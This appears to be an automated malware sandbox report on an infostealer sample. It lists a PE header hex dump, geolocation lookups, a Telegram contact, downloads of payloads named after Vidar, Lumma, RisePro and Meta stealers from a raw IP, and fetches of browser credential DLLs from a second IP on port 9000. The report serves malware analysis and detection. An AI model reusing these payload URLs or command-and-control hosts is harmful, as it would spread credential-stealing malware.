12 02 00 00 a2 05 00 00 00 00 00 e8 96 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 07 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 ac d9 02 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 07 00 1c 21 00 00 a8 ae 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 af 02 00 18 00 00 00 e8 ad 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 02 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f2 03 02 00 00 10 00 00 00 04 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 42 73 53 00 00 00 00 6d 0d 00 00 00 20 02 00 00 0e 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 7a b2 00 00 00 30 02 00 00 b4 00 00 00 16 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 94 cb 04 00 00 f0 02 00 00 bc 04 00 00 ca 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 1c 21 00 00 00 c0 07 00 00 22 00 00 00 86 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /g067n HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 34.117.186.192 34.117.186.192
Source: Joe Sandbox View	IP Address: 34.117.186.192 34.117.186.192
Source: Joe Sandbox View	IP Address: 5.42.67.8 5.42.67.8
Source: Joe Sandbox View	IP Address: 104.26.4.15 104.26.4.15

Source: Joe Sandbox View

ASN Name: RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io

Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.33 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.33 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.33 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.33 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.33 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: HEAD /rise2606.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.67.8Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rise2606.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.67.8Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /meta2606.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.67.8Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /meta2606.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.67.8Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /vidar2606.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.67.8Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vidar2606.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.67.8Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /lumma2606.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.67.8Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lumma2606.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.67.8Cache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8
Source: unknown	TCP traffic detected without corresponding DNS query: 5.42.67.8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004C8590 recv,WSAStartup,getaddrinfo,closesocket,socket,connect,closesocket,freeaddrinfo,WSACleanup,freeaddrinfo,

2_2_004C8590

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.33 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /g067n HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.33 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.33 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.33 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=8.46.123.33 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /rise2606.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.67.8Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /meta2606.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.67.8Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vidar2606.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.67.8Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /lumma2606.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 5.42.67.8Cache-Control: no-cache

Source: RegAsm.exe, 0000001C.00000002.2283576275.0000000002AAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $]q3IndexedDB\https_www.youtube.com_0.indexeddb.leveldb@\]q equals www.youtube.com (Youtube)
Source: RegAsm.exe, 0000001C.00000002.2283576275.0000000002AAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: IndexedDB\https_www.youtube.com_0.indexeddb.leveldb equals www.youtube.com (Youtube)
Source: RegAsm.exe, 0000001C.00000002.2283576275.0000000002AAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: IndexedDB\https_www.youtube.com_0.indexeddb.leveldb@\]q equals www.youtube.com (Youtube)
Source: RegAsm.exe, 0000001C.00000002.2283576275.0000000002AAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `,]q#www.youtube.com_0.indexeddb.leveldb equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: db-ip.com
Source: global traffic	DNS traffic detected: DNS query: t.me

Source: RegAsm.exe, 00000002.00000002.2360684561.00000000057AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.67.8/lumma2606.exe
Source: RegAsm.exe, 00000002.00000002.2360684561.00000000057AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.67.8/lumma2606.exep
Source: RegAsm.exe, 00000002.00000002.2359052796.0000000001021000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2360684561.00000000057AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.67.8/meta2606.exe
Source: RegAsm.exe, 00000002.00000002.2360684561.00000000057AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.67.8/meta2606.exev
Source: RegAsm.exe, 00000002.00000002.2359052796.0000000001021000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2359052796.0000000000FE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.67.8/rise2606.exe
Source: RegAsm.exe, 00000002.00000002.2359052796.0000000001021000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.67.8/rise2606.exeNp
Source: RegAsm.exe, 00000002.00000002.2359052796.0000000001021000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2360684561.00000000057AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.67.8/vidar2606.exe
Source: RegAsm.exe, 00000002.00000002.2360684561.00000000057AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.67.8/vidar2606.exe-
Source: RegAsm.exe, 00000002.00000002.2360684561.00000000057AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.67.8/vidar2606.exe3
Source: RegAsm.exe, 00000002.00000002.2359052796.0000000001021000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.67.8/vidar2606.exe_
Source: RegAsm.exe, 00000002.00000002.2360684561.00000000057AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.67.8/vidar2606.exea
Source: RegAsm.exe, 0000002B.00000002.4568930773.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: RegAsm.exe, 0000002B.00000002.4568930773.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en;
Source: RegAsm.exe, 00000002.00000002.2358106587.0000000000F07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.exif/1
Source: RegAsm.exe, 00000002.00000002.2358106587.0000000000F07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.microsofo/1.2/
Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net
Source: RegAsm.exe, 0000002B.00000002.4575776103.000000001C41F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4582423734.00000000223CD000.00000002.00001000.00020000.00000000.sdmp, sqlt[1].dll.43.dr	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: BRWgvKaqbg.exe, 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmp, RegAsm.exe, RegAsm.exe, 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, s7jOcwxjI7k0XEcaiYN_.exe, 0000000D.00000002.2290987179.0000000000DCF000.00000004.00000001.01000000.00000007.sdmp, MSIUpdaterV168.exe, 0000000E.00000002.2340892843.000000000064F000.00000004.00000001.01000000.00000008.sdmp, MSIUpdaterV168.exe, 0000000F.00000002.2297891891.000000000064F000.00000004.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: RegAsm.exe, 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235/0
Source: RegAsm.exe, 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235/N
Source: RegAsm.exe, 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4567061171.00000000005C8000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000
Source: RegAsm.exe, 0000002B.00000002.4568930773.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4567061171.00000000005C8000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000/
Source: RegAsm.exe, 0000002B.00000002.4570012626.000000000108A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000/33.235:9000/
Source: RegAsm.exe, 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000/4)
Source: RegAsm.exe, 0000002B.00000002.4570012626.000000000108A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000/B
Source: RegAsm.exe, 0000002B.00000002.4570012626.000000000108A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000/D
Source: RegAsm.exe, 0000002B.00000002.4567061171.00000000005C8000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000/al
Source: RegAsm.exe, 0000002B.00000002.4567061171.00000000005C8000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000/d7b7frosoft
Source: RegAsm.exe, 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4567061171.00000000005C8000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000/freebl3.dll
Source: RegAsm.exe, 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000/freebl3.dll-
Source: RegAsm.exe, 0000002B.00000002.4567061171.00000000005C8000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000/freebl3.dllt
Source: RegAsm.exe, 0000002B.00000002.4570012626.000000000107D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4567061171.00000000005C8000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000/mozglue.dll
Source: RegAsm.exe, 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000/mozglue.dll_
Source: RegAsm.exe, 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000/mozglue.dllc
Source: RegAsm.exe, 0000002B.00000002.4567061171.00000000005C8000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000/mozglue.dllt
Source: RegAsm.exe, 0000002B.00000002.4567061171.00000000005C8000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000/msvcp140.dll
Source: RegAsm.exe, 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000/msvcp140.dllA
Source: RegAsm.exe, 0000002B.00000002.4570012626.000000000108A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000/msvcp140.dllD
Source: RegAsm.exe, 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000/msvcp140.dllJ
Source: RegAsm.exe, 0000002B.00000002.4570012626.000000000108A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4567061171.00000000005C8000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000/nss3.dll
Source: RegAsm.exe, 0000002B.00000002.4570012626.000000000108A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000/nss3.dlldll
Source: RegAsm.exe, 0000002B.00000002.4567061171.00000000005C8000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000/nss3.dllsoft
Source: RegAsm.exe, 0000002B.00000002.4567061171.0000000000400000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000/softokn3.dll
Source: RegAsm.exe, 0000002B.00000002.4570012626.000000000108A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000/softokn3.dll;
Source: RegAsm.exe, 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000/softokn3.dllf
Source: RegAsm.exe, 0000002B.00000002.4570012626.000000000108A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000/sqlt.dll
Source: RegAsm.exe, 0000002B.00000002.4570012626.000000000108A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000/sqlt.dllb
Source: RegAsm.exe, 0000002B.00000002.4567061171.000000000043F000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4570012626.000000000108A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4567061171.0000000000445000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000/vcruntime140.dll
Source: RegAsm.exe, 0000002B.00000002.4570012626.000000000108A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000/vcruntime140.dllB
Source: RegAsm.exe, 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000/vcruntime140.dllH
Source: RegAsm.exe, 0000002B.00000002.4567061171.0000000000445000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000/vcruntime140.dlle
Source: RegAsm.exe, 0000002B.00000002.4570012626.000000000108A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000/vcruntime140.dllhs
Source: RegAsm.exe, 0000002B.00000002.4570012626.000000000108A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000/vcruntime140.dllppet
Source: RegAsm.exe, 0000002B.00000002.4570012626.000000000108A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002B.00000002.4569542245.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000/vcruntime140.dllt
Source: RegAsm.exe, 0000002B.00000002.4567061171.00000000005C8000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.13.33.235:9000aming
